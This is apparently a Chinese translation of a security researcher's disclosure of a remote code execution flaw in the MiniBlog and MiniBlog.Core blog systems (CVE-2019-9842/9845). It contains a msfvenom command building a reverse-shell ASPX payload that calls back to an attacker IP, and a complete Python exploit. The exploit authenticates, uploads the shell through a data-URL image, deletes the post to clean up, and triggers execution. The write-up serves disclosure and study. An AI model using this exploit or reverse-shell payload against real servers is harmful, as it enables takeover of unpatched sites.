文章来源:https://rastating.github.io/miniblog-remote-code-execution/


概述

本文介绍了发现MiniBlog上的一个远程代码执行漏洞的过程,文末附有POC。此漏洞利用和环境较为简单,但仍具一定学习参考的价值。

注:本文涉及的漏洞仅供学习交流请勿用于非法用途。

挖掘过程

在审阅MiniBlog的项目(Windows下的博客系统)时,我注意到一个有趣的功能。对于大部分WYSIWYG富文本编辑器来说,图像通常被嵌入在生成的标记(HTML源码)中,而不是直接上传到web服务器。图片是通过img元素的Data URLs方法被嵌入到标记中。

下图就是这样的一个例子:

乍一看,这似乎没什么不对劲的地方。但是,当你发表这篇博文后再次查看该图像,此时data URL已经消失了:

从上图你可以看到,img元素的内容已经改变了:

<img src="data:image/jpeg;base64,BASE64_CONTENT">

其中的src属性可以直接引用磁盘上的文件:

<img src="/posts/files/03d21a01-d1f7-4e09-a6f8-0e67f26eb50b.jpeg" alt="">

随后,我对代码进行了分析。我发现博文首先会被扫描是否存在data URLs,然后再通过相应的标记创建文件到硬盘存储到硬盘中。相关代码如下所示:

private void SaveFilesToDisk(Post post)
{
  foreach (Match match in Regex.Matches(post.Content, "(src|href)=\"(data:([^\"]+))\"(>.*?</a>)?"))
  {
    string extension = string.Empty;
    string filename = string.Empty;

    // Image
    if (match.Groups[1].Value == "src")
    {
      extension = Regex.Match(match.Value, "data:([^/]+)/([a-z]+);base64").Groups[2].Value;
    }
    // Other file type
    else
    {
      // Entire filename
      extension = Regex.Match(match.Value, "data:([^/]+)/([a-z0-9+-.]+);base64.*\">(.*)</a>").Groups[3].Value;
    }

    byte[] bytes = ConvertToBytes(match.Groups[2].Value);
    string path = Blog.SaveFileToDisk(bytes, extension);

    string value = string.Format("src=\"{0}\" alt=\"\" ", path);

    if (match.Groups[1].Value == "href")
        value = string.Format("href=\"{0}\"", path);

    Match m = Regex.Match(match.Value, "(src|href)=\"(data:([^\"]+))\"");
    post.Content = post.Content.Replace(m.Value, value);
  }
}

组装Payload

关于上面这一串代码中的SaveFilesToDisk的方法,它包含一些正则表达式,提取的内容如下:

  • MIME类型
  • Base64的内容

MIME类型通常以image/gifimage/jpeg的形式呈现,并且软件将MIME类型中的后半部分作为文件的扩展名。了解这一点后,我们可以开始着手利用它了。创建新博文,将编辑器调整到标记模式(在工具栏最后一个图标),使用img元素,data URL和MIME类型,并且将该类型的尾部设为aspx

在上图中,我使用msfvenom创建了一个ASPX shell并且对该shell进行base64编码处理,然后填充到base64部分。

$ msfvenom -p windows/x64/shell_reverse_tcp EXITFUNC=thread -f aspx LHOST=192.168.194.141 LPORT=4444 -o shell_no_encoding.aspx
$ base64 -w0 shell_no_encoding.aspx > shell.aspx

随后我开启netcat,监听4444端口的数据传输,然后发布该博文。此时浏览器会重定向到该博文,然后立即返回了一个shell。

点击Save后,浏览器会重定向到博文页面。现在,我们再返回到页面,查看源码,可以看到img元素中的src属性包含着一个ASPX文件:

我在Miniblog.Core项目中也发现了该漏洞,但是有些不同,它是通过img元素的data-filename属性直接给定文件名称,而不是使用MIME类型来确定扩展名的。

时间表

  • 2019-03-15: 发现漏洞,尝试修复并且请求CVEs。
  • 2019-03-15: 提交漏洞,请求披露。
  • 2019-03-16: MiniBlog项目漏洞被分配为CVE-2019-9842, MiniBlog.Core项目漏洞被分配为CVE-2019-9845。
  • 2019-03-16: 与供应商协商并且提供补丁
  • 2019-03-16: 两个Github项目都已发布补丁。

漏洞概念证明

CVE-2019-9842

import base64
import re
import requests
import os
import sys
import string
import random

if len(sys.argv) < 5:
    print 'Usage: python {file} [base url] [username] [password] [path to payload]'.format(file = sys.argv[0])
    sys.exit(1)

username = sys.argv[2]
password = sys.argv[3]
url = sys.argv[1]
payload_path = sys.argv[4]
extension = os.path.splitext(payload_path)[1][1:]

def random_string(length):
    return ''.join(random.choice(string.ascii_letters) for m in xrange(length))

def request_verification_code(path, cookies = {}):
    r = requests.get(url + path, cookies = cookies)
    m = re.search(r'name="?__RequestVerificationToken"?.+?value="?([a-zA-Z0-9\-_]+)"?', r.text)

    if m is None:
        print '\033[1;31;40m[!]\033[0m Failed to retrieve verification token'
        sys.exit(1)

    token = m.group(1)
    cookie_token = r.cookies.get('__RequestVerificationToken')

    return [token, cookie_token]


payload = None
with open(payload_path, 'rb') as payload_file:
    payload = base64.b64encode(payload_file.read())

# Note: login_token[1] must be sent with every request as a cookie.
login_token = request_verification_code('/views/login.cshtml?ReturnUrl=/')
print '\033[1;32;40m[+]\033[0m Retrieved login token'

login_res = requests.post(url + '/views/login.cshtml?ReturnUrl=/', allow_redirects = False, data = {
    'username': username,
    'password': password,
    '__RequestVerificationToken': login_token[0]
}, cookies = {
    '__RequestVerificationToken': login_token[1]
})

session_cookie = login_res.cookies.get('miniblog')
if session_cookie is None:
    print '\033[1;31;40m[!]\033[0m Failed to authenticate'
    sys.exit(1)

print '\033[1;32;40m[+]\033[0m Authenticated as {user}'.format(user = username)

post_token = request_verification_code('/post/new', {
    '__RequestVerificationToken': login_token[1],
    'miniblog': session_cookie
})

print '\033[1;32;40m[+]\033[0m Retrieved new post token'

post_res = requests.post(url + '/post.ashx?mode=save', data = {
    'id': random_string(16),
    'isPublished': True,
    'title': random_string(8),
    'excerpt': '',
    'content': '<img src="data:image/{ext};base64,{payload}" />'.format(ext = extension, payload = payload),
    'categories': '',
    '__RequestVerificationToken': post_token[0]
}, cookies = {
    '__RequestVerificationToken': login_token[1],
    'miniblog': session_cookie
})

post_url = post_res.text
post_res = requests.get(url + post_url, cookies = {
    '__RequestVerificationToken': login_token[1],
    'miniblog': session_cookie
})
uploaded = True
payload_url = None
m = re.search(r'img src="?(\/posts\/files\/(.+?)\.' + extension + ')"?', post_res.text)

if m is None:
    print '\033[1;31;40m[!]\033[0m Could not find the uploaded payload location'
    uploaded = False

if uploaded:
    payload_url = m.group(1)
    print '\033[1;32;40m[+]\033[0m Uploaded payload to {url}'.format(url = payload_url)

article_id = None  
m = re.search(r'article class="?post"? data\-id="?([a-zA-Z0-9\-]+)"?', post_res.text)
if m is None:
    print '\033[1;31;40m[!]\033[0m Could not determine article ID of new post. Automatic clean up is not possible.'
else:
    article_id = m.group(1)

if article_id is not None:
    m = re.search(r'name="?__RequestVerificationToken"?.+?value="?([a-zA-Z0-9\-_]+)"?', post_res.text)
    delete_token = m.group(1)
    delete_res = requests.post(url + '/post.ashx?mode=delete', data = {
        'id': article_id,
        '__RequestVerificationToken': delete_token
    }, cookies = {
        '__RequestVerificationToken': login_token[1],
        'miniblog': session_cookie
    })

    if delete_res.status_code == 200:
        print '\033[1;32;40m[+]\033[0m Deleted temporary post'
    else:
        print '\033[1;31;40m[!]\033[0m Failed to automatically cleanup temporary post'

try:
    if uploaded:
        print '\033[1;32;40m[+]\033[0m Executing payload...'
        requests.get(url + payload_url)
except:
    sys.exit()

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖